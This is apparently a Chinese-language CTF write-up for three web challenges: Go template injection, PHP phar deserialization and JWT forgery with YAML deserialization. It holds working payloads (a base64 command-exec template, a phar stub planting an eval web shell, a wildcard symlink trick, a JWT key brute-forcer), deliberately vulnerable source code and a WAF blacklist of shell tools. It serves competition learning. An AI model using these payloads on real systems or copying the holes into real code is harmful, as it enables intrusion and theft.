目录

  1. 1. 前言
  2. 2. ssti
  3. 3. easy_readfile
  4. 4. ez_python

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

湾区杯2025

2025/9/8 CTF线上赛
  |     |   总文章阅读量:

前言

不难


ssti

提示我们 {{' enter your payload '}}

测了一下应该不是 flask,404 的报错像是 nodejs 或者 go 的,检测到 eval 就不解析,测了一下 {{.}} 有回显发现是 go 的模板,返回了 map[B64Decode:0x6ee380 exec:0x6ee120]

测了一下命令执行也有 waf,于是尝试调用这两个函数编码实现命令执行

{{exec (B64Decode "Y2F0IC9mbGFn")}}

main.go

package main

import (
	"bytes"
	"encoding/base64"
	"fmt"
	"log"
	"net/http"
	"os/exec"
	"regexp"
	"runtime"
	"strings"
	"text/template"
)

func execCommand(command string) string {
	var cmd *exec.Cmd
	if runtime.GOOS == "windows" {
		cmd = exec.Command("cmd", "/c", command)
	} else {
		cmd = exec.Command("bash", "-c", command)
	}

	var out bytes.Buffer
	var stderr bytes.Buffer
	cmd.Stdout = &out
	cmd.Stderr = &stderr

	err := cmd.Run()
	if err != nil {
		if stderr.Len() > 0 {
			return fmt.Sprintf("命令执行错误: %s", stderr.String())
		}
		return fmt.Sprintf("执行失败: %v", err)
	}
	return out.String()
}

func b64Decode(encoded string) string {
	decodedBytes, err := base64.StdEncoding.DecodeString(encoded)
	if err != nil {
		return "error"
	}
	return string(decodedBytes)
}

func aWAF(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.URL.Path != "/api" {
			next.ServeHTTP(w, r)
			return
		}

		query := r.URL.Query().Get("template")
		if query == "" {
			next.ServeHTTP(w, r)
			return
		}

		blacklist := []string{"ls", "whoami", "cat", "uname", "nc", "flag", "etc", "passwd", "\\*", "pwd", "rm", "cp", "mv", "chmod", "chown", "wget", "curl", "bash", "sh", "python", "perl", "ruby", "system", "eval", "less", "more", "find", "grep", "awk", "sed", "tar", "zip", "unzip", "gzip", "gunzip", "bzip2", "bunzip2", "xz", "unxz", "docker", "kubectl", "git", "svn", "f", "l", "g", ",", "\\?", "&&", "\\|", ";", "`", "\"", ">", "<", ":", "=", "\\(", "\\)", "%", "\\\\", "\\^", "\\$", "!", "@", "#", "&"}
		escaped := make([]string, len(blacklist))
		for i, item := range blacklist {
			escaped[i] = "\\b" + item + "\\b"
		}
		wafRegex := regexp.MustCompile(fmt.Sprintf("(?i)%s", strings.Join(escaped, "|")))

		if wafRegex.MatchString(query) {
			// log.Printf("拦截请求: %s", wafRegex.FindAllString(query, -1))
			http.Error(w, query, 200)
			return
		}

		next.ServeHTTP(w, r)
	})
}

func apiHandler(w http.ResponseWriter, r *http.Request) {
	query := r.URL.Query().Get("template")
	if query == "" {
		http.Error(w, "需要template参数", http.StatusBadRequest)
		return
	}

	funcMap := template.FuncMap{
		"exec":      execCommand,
		"B64Decode": b64Decode,
	}

	tmpl, err := template.New("api").Funcs(funcMap).Parse(query)
	if err != nil {
		http.Error(w, query, http.StatusAccepted)
		return
	}

	var buf bytes.Buffer
	if err := tmpl.Execute(&buf, funcMap); err != nil {
		http.Error(w, query, http.StatusAccepted)
		return
	}

	w.Write(buf.Bytes())
}

func rootHandler(w http.ResponseWriter, r *http.Request) {
	if r.URL.Path != "/" {
		http.NotFound(w, r)
		return
	}

	http.ServeFile(w, r, "index.html")
}

func main() {
	mux := http.NewServeMux()
	mux.HandleFunc("/", rootHandler)
	mux.HandleFunc("/api", apiHandler)

	log.Println("服务器启动在 :80")
	log.Fatal(http.ListenAndServe(":80", aWAF(mux)))
}

easy_readfile

<?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class Coral{
    public $pivot;

    public function __set($k, $value) {
        $k = $this->pivot->ctor;
        echo new $k($value);
    }
}

class Nimbus{
    public $handle;
    public $ctor;

    public function __destruct() {
        return $this->handle();
    }
    public function __call($name, $arg){
        $arg[1] = $this->handle->$name;
    }
}

class Zephyr{
    public $target;
    public $payload;
    public function __get($prop)
    {
        $this->target->$prop = $this->payload;
    }
}

class Acheron {
    public $mode;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->mode == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".phar";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->mode == 'r') {
            waf($data);
            $f = include($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

if(strlen($_POST[1]) < 52) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

?>

一眼打 phar.gz 包含,gzip 压缩绕过

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
    system('echo "<?php eval(\$_POST[0]); ?>" > /var/www/html/1.php');
    __HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

生成序列化字符串,另外三个类不需要了

<?php
class Acheron {
    public $mode="w";
}
$a = new Acheron();
echo serialize($a);

写入并包含

此时就写 shell 到 1.php 了,antsword 连上去

发现 flag 没权限读,但是根目录有 run.sh

#!/bin/bash
cd /var/www/html/
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 10
done

经典通配符在野注入,在 /var/www/html 下执行

echo "">'-L'
ln -s /flag flag

然后 flag 就在 backup 长出来了


ez_python

给了一个执行 pyyaml 和 python 代码的功能,但是只有 admin 才使用

那么需要先搞定 jwt,在 /sandbox 路由故意修改 jwt 为错误格式触发报错,返回:

{"error":"JWT Decode Failed. Key Hint","hint":"Key starts with \"@o70xO$0%#qR9#**\". The 2 missing chars are alphanumeric (letters and numbers)."}

意思就是要爆破 key 的后两位,范围在字母和数字里

import jwt
import string

def main():
    known_part = "@o70xO$0%#qR9#"
    token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
    
    chars = string.ascii_letters + string.digits
    
    for c1 in chars:
        for c2 in chars:
            key = known_part + c1 + c2
            try:
                decoded = jwt.decode(token, key, algorithms=["HS256"])
                print(f"Found key: {key}")
                print(f"Decoded payload: {decoded}")
                return
            except jwt.InvalidSignatureError:
                continue
            except Exception as e:
                print(f"Found key: {key}")
                print(f"Exception: {e}")
                return

if __name__ == "__main__":
    main()

爆破得到 key: @o70xO$0%#qR9#m0

遂可以伪造 jwt 传 yaml 打反序列化,mkdir 创建 static 文件夹然后写入静态文件带出执行结果

flag 在 /f1111ag

app.py

from flask import Flask, request, jsonify, render_template_string
import jwt
import asyncio
import yaml
import os

app = Flask(__name__)

JWT_SECRET = "@o70xO$0%#qR9#m0"
JWT_ALGO = "HS256"

FORBIDDEN = ['__', 'import', 'os', 'eval', 'exec', 'open', 'read', 'write', 'system', 'subprocess', 'communicate',
             'Popen', 'decode', "\\"]
HTML_PAGE = '''
<!DOCTYPE html>
<html>
<head>
    <title>Vault</title>
    <style>
        body { font-family: "Segoe UI", sans-serif; background-color: #f4f4f4; padding: 40px; text-align: center; }
        #user-info { margin-bottom: 40px; font-weight: bold; font-size: 18px; color: #333; }
        #sandbox-container { margin-top: 30px; }
        select, input, button { font-size: 16px; margin: 10px; padding: 8px; border-radius: 6px; border: 1px solid #ccc; }
        #result { background: #222; color: #0f0; padding: 15px; width: 80%; margin: 20px auto; white-space: pre-wrap; border-radius: 8px; text-align: left; }
        button { background-color: #4CAF50; color: white; border: none; cursor: pointer; }
        button:hover { background-color: #45a049; }
        input[type="file"] { display: block; margin: 10px auto; }
    </style>
</head>
<body>
    <div id="user-info">Loading user info...</div>
    <div id="sandbox-container">
        <select id="mode">
            <option value="yaml" selected>YAML</option>
            <option value="python">Python</option>
        </select>
        <br>
        <input type="file" id="codefile">
        <br>
        <button onclick="runCode()">▶ Execute from File</button>
        <pre id="result">Waiting for output...</pre>
    </div>
    <script>
        let token = "";
        fetch("/auth")
            .then(res => res.json())
            .then(data => {
                token = data.token;
                const payload = JSON.parse(atob(token.split('.')[1]));
                document.getElementById("user-info").innerHTML =
                    "<span style='color:#444'>👤 " + payload.username + "</span> | " +
                    "<span style='color:#4CAF50'>Role: " + payload.role + "</span>";
            });

        function runCode() {
            const fileInput = document.getElementById('codefile');
            const mode = document.getElementById("mode").value;

            if (fileInput.files.length === 0) {
                document.getElementById("result").textContent = '{"error": "Please select a file to upload."}';
                return;
            }
            const file = fileInput.files[0];

            const formData = new FormData();
            formData.append('codefile', file);
            formData.append('mode', mode);

            fetch("/sandbox", {
                method: "POST",
                headers: {
                    "Authorization": "Bearer " + token
                },
                body: formData
            })
            .then(res => res.json())
            .then(data => {
                document.getElementById("result").textContent = JSON.stringify(data, null, 2);
            });
        }
    </script>
</body>
</html>
'''


@app.route('/')
def index():
    return render_template_string(HTML_PAGE)


@app.route('/auth')
def auth():
    # 默认分发一个低权限的 'user' token
    token = jwt.encode({'username': 'guest', 'role': 'user'}, JWT_SECRET, algorithm=JWT_ALGO)
    if isinstance(token, bytes):
        token = token.decode()

    return jsonify({'token': token})


def is_code_safe(code: str) -> bool:
    return not any(word in code for word in FORBIDDEN)


@app.route('/sandbox', methods=['POST'])
def sandbox():
    auth_header = request.headers.get('Authorization', '')
    if not auth_header.startswith('Bearer '):
        return jsonify({'error': 'Invalid token format'}), 401
    token = auth_header.replace('Bearer ', '')
    if 'codefile' not in request.files:
        return jsonify({'error': 'No file part in the request'}), 400

    file = request.files['codefile']
    if file.filename == '':
        return jsonify({'error': 'No file selected'}), 400

    mode = request.form.get('mode', 'python')
    try:
        code = file.read().decode('utf-8')
    except Exception as e:
        return jsonify({'error': f'Could not read or decode file: {e}'}), 400

    if not all([token, code, mode]):
        return jsonify({'error': 'Token, code, or mode is empty'}), 400

    try:
        payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGO])
    except Exception as e:
        partial_key = JWT_SECRET[:-2]
        return {
            'error': 'JWT Decode Failed. Key Hint',
            'hint': f'Key starts with "{partial_key}**". The 2 missing chars are alphanumeric (letters and numbers).'
        }, 500

    if payload.get('role') != 'admin':
        return {'error': 'Permission Denied: admin only'}, 403

    if mode == 'python':
        if not is_code_safe(code):
            return {'error': 'forbidden keyword detected'}, 400
        try:
            scope = {}
            exec(code, scope)
            result = scope['run']()
            return {'result': result}
        except Exception as e:
            return {'error': str(e)}, 500

    elif mode == 'yaml':
        try:
            obj = yaml.load(code, Loader=yaml.UnsafeLoader)
            return {'result': str(obj)}
        except Exception as e:
            return {'error': str(e)}, 500

    return {'error': 'invalid mode'}, 400


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)